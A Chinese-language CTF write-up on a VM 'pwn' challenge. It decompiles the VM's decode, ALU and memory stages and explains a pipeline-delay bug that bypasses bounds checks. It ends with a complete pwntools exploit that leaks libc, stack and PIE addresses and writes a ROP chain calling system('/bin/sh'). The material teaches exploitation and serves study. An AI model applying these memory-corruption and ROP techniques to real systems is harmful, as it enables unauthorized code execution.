文章目录
- 参考
- 检查
- 逆向
- vm::run
- vm::vm
- vm_alu::set_input
- vm_mem::set_input
- vm_id::run
- vm_alu::run
- vm_mem::run
- 漏洞
- 思路
- 参考的exp
参考
https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap
检查
逆向
vm::run
__int64 __fastcall vm::run(vm *my_vm)
{
__int64 v1; // rax
int v3; // [rsp+1Ch] [rbp-4h]
while ( 1 )
{
vm_alu::set_input(my_vm->vm_alu, my_vm);
vm_mem::set_input(my_vm->vm_mem, my_vm);
my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度
v3 = vm_alu::run(my_vm->vm_alu, my_vm); // 执行当前指令,得到临时结果
vm_mem::run(my_vm->vm_mem); // 将结果转换到对应的位置中去
if ( !v3 )
break;
if ( v3 == -1 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(0);
}
}
return 0LL;
}
vm::vm
void __fastcall vm::vm(vm *my_vm)
{
struct vm_id *vm_id; // rax
struct vm_alu *vm_alu; // rax
vm_mem *v3; // rax
__int64 i; // rdx
my_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
my_vm->data_base = my_vm->code_base + 0x2000LL;
my_vm->stack_base = my_vm->data_base + 0x3000LL;
my_vm->data_size = 0x3000LL;
my_vm->code_size = 0x2000LL;
my_vm->stack_size = 0x1000LL;
vm_id = (struct vm_id *)operator new(0x28uLL);
LODWORD(vm_id->isvalid_id) = 0;
vm_id->opcode = 0LL;
vm_id->optype = 0LL;
vm_id->arg1 = 0LL;
vm_id->arg2 = 0LL;
my_vm->vm_id = vm_id;
vm_alu = (struct vm_alu *)operator new(0x50uLL);
*(_OWORD *)&vm_alu->isvali_id = 0LL;
*(_OWORD *)&vm_alu->optype = 0LL;
*(_OWORD *)&vm_alu->arg2 = 0LL;
*(_OWORD *)&vm_alu->content_change_addr = 0LL;
*(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;
my_vm->vm_alu = vm_alu;
v3 = (vm_mem *)operator new(0x28uLL);
v3->is_valid = 0;
v3->value_to_addr_time = 0;
for ( i = 0LL; ; ++i )
{
v3->val_to_ad[i].addr = 0LL;
v3->val_to_ad[i].value = 0LL;
if ( i == 1 )
break;
}
my_vm->vm_mem = v3;
}
vm_alu::set_input
vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{
vm_id *vm_id; // rdx
vm_alu *result; // rax
__int64 opcode; // rbx
__int64 arg1; // rbx
vm_id = my_vm->vm_id;
result = my_vm_alu;
opcode = vm_id->opcode;
my_vm_alu->isvali_id = vm_id->isvalid_id;
my_vm_alu->opcode = opcode;
arg1 = vm_id->arg1;
my_vm_alu->optype = vm_id->optype;
my_vm_alu->arg1 = arg1;
my_vm_alu->arg2 = vm_id->arg2;
return result;
}
vm_mem::set_input
vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{
vm_alu *vm_alu; // rdx
vm_mem *result; // rax
_QWORD *content_change_addr; // rbx
_QWORD *stack_ptr_addr; // rbx
vm_alu = my_vm->vm_alu;
result = my_vm_men;
content_change_addr = vm_alu->content_change_addr;
*(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;
my_vm_men->val_to_ad[0].addr = content_change_addr;
stack_ptr_addr = vm_alu->stack_ptr_addr;
my_vm_men->val_to_ad[0].value = vm_alu->alu_result;
my_vm_men->val_to_ad[1].addr = stack_ptr_addr;
my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;
return result;
}
vm_id::run
__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{
char *my_vm_pc; // rax
char *optype_pc_1; // rax
int v4; // eax
char *first_value_pc_1; // rax
char *first_value_pc_2; // rax
int v7; // eax
char *optype_pc_2; // rax
char opcode; // [rsp+18h] [rbp-18h]
char optype; // [rsp+19h] [rbp-17h]
char first_value; // [rsp+1Ah] [rbp-16h]
char first_value_1; // [rsp+1Ah] [rbp-16h]
char second_valuea; // [rsp+1Ah] [rbp-16h]
char second_valueb; // [rsp+1Ah] [rbp-16h]
char value1; // [rsp+1Ah] [rbp-16h]
char optype_1; // [rsp+1Bh] [rbp-15h]
unsigned int change_pc; // [rsp+1Ch] [rbp-14h]
_BYTE *optype_pc; // [rsp+20h] [rbp-10h]
char *arg_value_pc; // [rsp+20h] [rbp-10h]
char *value1_pc; // [rsp+20h] [rbp-10h]
my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针,按字节识别
optype_pc = my_vm_pc + 1;
opcode = *my_vm_pc;
change_pc = 1;
if ( *my_vm_pc <= 0 || opcode > 8 )
{
if ( opcode <= 8 || opcode > 10 )
{
if ( opcode && opcode != 11 )
{
my_vm_id->opcode = -1LL;
}
else
{
my_vm_id->opcode = opcode; // 11 nop指令
my_vm_id->optype = 0LL;
my_vm_id->arg1 = 0LL;
my_vm_id->arg2 = 0LL;
}
}
else
{ // 9-10 push pop
optype_pc_2 = my_vm_pc + 1;
value1_pc = optype_pc + 1;
optype_1 = *optype_pc_2;
change_pc = 2;
my_vm_id->optype = *optype_pc_2;
if ( (optype_1 & 3) == 2 ) // value为reg的标号
{
change_pc = 3;
value1 = *value1_pc;
if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3
{
my_vm_id->opcode = opcode;
my_vm_id->arg1 = value1;
my_vm_id->arg2 = 0LL;
}
else // 否则标号越界,错误
{
my_vm_id->opcode = -1LL;
}
}
else // optype只能为寄存器类型,否则错误
{
my_vm_id->opcode = -1LL;
}
if ( (my_vm->stack_ptr & 7LL) != 0 ) // 八对齐,否则错误
my_vm_id->opcode = -1LL;
if ( opcode == 9 ) // stack_ptr从零开始,相对地址从stack_base
{
if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )
my_vm_id->opcode = -1LL; // push的话要判断stack_ptr还有多余的8可以减去,并且要在stack_size里面,从零开始
}
else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr )
{ // pop的话判断stack_ptr+8不会超过stack_size上界
my_vm_id->opcode = -1LL;
}
}
}
else // 1-8
{
optype_pc_1 = my_vm_pc + 1;
arg_value_pc = optype_pc + 1;
optype = *optype_pc_1;
change_pc = 2;
my_vm_id->optype = *optype_pc_1;
v4 = optype & 3;
if ( v4 == 2 ) // value是寄存器下标
{
change_pc = 3;
first_value_pc_1 = arg_value_pc++; // 杀千刀的,这里的值是+之前的
first_value = *first_value_pc_1;
if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) )
{
my_vm_id->opcode = opcode;
my_vm_id->arg1 = first_value;
}
else
{
my_vm_id->opcode = -1LL;
}
}
else if ( v4 == 3 ) // value也是寄存器下标,要检查寄存器中值是否超过地址界限
{
change_pc = 3;
first_value_pc_2 = arg_value_pc++;
first_value_1 = *first_value_pc_2;
if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) )
{
my_vm_id->opcode = opcode;
my_vm_id->arg1 = first_value_1;
}
else
{
my_vm_id->opcode = -1LL;
}
}
else
{
my_vm_id->opcode = -1LL;
}
if ( my_vm_id->opcode != -1LL )
{
v7 = (optype >> 2) & 3;
if ( v7 == 3 )
{ // 参数是寄存器的下标
++change_pc;
second_valueb = *arg_value_pc;
if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )
my_vm_id->arg2 = second_valueb;
else
my_vm_id->opcode = -1LL;
}
else
{
if ( ((optype >> 2) & 3u) > 3 ) // 类型大于3不存在
{
LABEL_25:
my_vm_id->opcode = -1LL;
goto LABEL_45;
}
if ( v7 == 1 ) // 参数是立即数
{
change_pc += 8; // pc要变化八个字节,八个字节存立即数
my_vm_id->arg2 = *(_QWORD *)arg_value_pc;
}
else
{
if ( v7 != 2 )
goto LABEL_25;
++change_pc; // 是寄存器
second_valuea = *arg_value_pc;
if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )
my_vm_id->arg2 = second_valuea;
else
my_vm_id->opcode = -1LL;
}
}
}
}
LABEL_45:
LODWORD(my_vm_id->isvalid_id) = 1;
return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{
return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{
return a3->data_size - 8LL >= a2; // 地址少八,是因为地址内容是包括后面的八个字节内容
}
vm_alu::run
__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{
__int64 arg2_type; // rax
__int64 arg1_type; // rax
unsigned __int64 opcode; // rax
if ( !LODWORD(my_vm_alu->isvali_id) )
return 1LL;
if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL )
{
arg2_type = (my_vm_alu->optype >> 2) & 3LL;
if ( arg2_type == 3 )
{ // 参数为寄存器存的地址的值
my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);
}
else if ( arg2_type != 1 )
{
if ( arg2_type != 2 )
return 0xFFFFFFFFLL;
my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值
}
arg1_type = my_vm_alu->optype & 3LL;
if ( arg1_type == 2 )
{
my_vm_alu->value_to_addr_time = 1; // 只要修改一次地址的内容
my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址
my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];
}
else
{
if ( arg1_type != 3 )
return 0xFFFFFFFFLL;
if ( (my_vm_alu->optype & 0xCLL) == 12 )
return 0xFFFFFFFFLL;
my_vm_alu->value_to_addr_time = 1;
my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址
my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容
}
switch ( my_vm_alu->opcode )
{
case 1LL:
my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;
break;
case 2LL:
my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;
break;
case 3LL:
my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;
break;
case 4LL:
my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;
break;
case 5LL:
my_vm_alu->alu_result = my_vm_alu->arg2;
break;
case 6LL:
my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;
break;
case 7LL:
my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;
break;
case 8LL:
my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;
break;
default:
goto exit;
}
goto exit;
}
opcode = my_vm_alu->opcode;
if ( opcode == 11 )
{
my_vm_alu->isvalid_alu = 0;
return 1LL;
}
if ( opcode > 0xB ) // 大于11无效opcode
return 0xFFFFFFFFLL;
if ( opcode == 10 ) // pop
{
my_vm_alu->value_to_addr_time = 2;
my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址,pop会修改寄存器
my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);
my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;
goto exit;
}
if ( !opcode )
{
my_vm_alu->isvalid_alu = 0;
return 0LL;
}
if ( opcode != 9 )
return 0xFFFFFFFFLL;
my_vm_alu->value_to_addr_time = 2; // push
my_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);
my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];
my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:
my_vm_alu->isvalid_alu = 1;
return 1LL;
}
vm_mem::run
__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
result = (unsigned int)my_vm_men->is_valid; // alu是否成功执行
if ( (_DWORD)result )
{
for ( i = 0; ; ++i )
{
result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器
// 第二次赋值改变栈地址
if ( i >= (int)result )
break;
*my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值
}
}
return result;
}
漏洞
存在延迟,有个依赖关系,各个结构体的isvalid变量,代表前一步是否执行完
分为三个阶段
- 解析得到vid(存在检查,寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size)
- 执行得到alu
- 改变值得到mem
vid和改变值不是立即发生的,解析得到vid之后改变参数值(之前的指令到达mem步),那么就可以绕过vid中对参数的检查
思路
- 任意地址写通过寄存器存储:你要写的地址-database的值,然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
- 任意地址读也差不多,寄存器存储:你要读的地址-database的值,然后通过mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要读的地址里的内容了
泄露libc地址
泄露database的地址
泄露environ地址
得到environ内的栈地址
得到对应的返回地址
泄露pie地址
得到pie基地址
控制到database在vm上的位置
往database在vm结构体所在地址写入栈的返回地址所在地址
写入ret
写入pop rdi ret
写入/bin/sh
写入system地址
最后没有指令可以执行vm::run退出会执行之前写入的rop,最后这里加个ret是system执行时候对齐
结果
参考的exp
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
def inst():
return 1
def mem():
return 3
def reg():
return 2
def args(flag1,flag2,arg1,arg2):
var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')
if flag2==1:
return var+p64(arg2)
else:
return var+arg2.to_bytes(1,'little')
def arg(flag,arg):
var=flag.to_bytes(1,'little')
if flag==1:
return var+p64(arg)
else:
return var+arg.to_bytes(1,'little')
def add(arg):
return b'\x01'+arg
def sub(arg):
return b'\x02'+arg
def rshift(arg):
return b'\x03'+arg
def lshift(arg):
return b'\x04'+arg
def mov(arg):
return b'\x05'+arg
def andd(arg):
return b'\x06'+arg
def orr(arg):
return b'\x07'+arg
def xor(arg):
return b'\x08'+arg
def pop(arg):
return b'\x09'+arg
def push(arg):
return b'\x0a'+arg
def nop():
return b'\x0b'
p=process('./pwn')
libc=ELF('./libc.so.6')
# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()
# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()
# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()
# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()
# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()
# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()
# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()
# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()
# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()
# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()
# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()
# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()
# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()
rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()
# end
code+=nop()
code+=nop()
#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()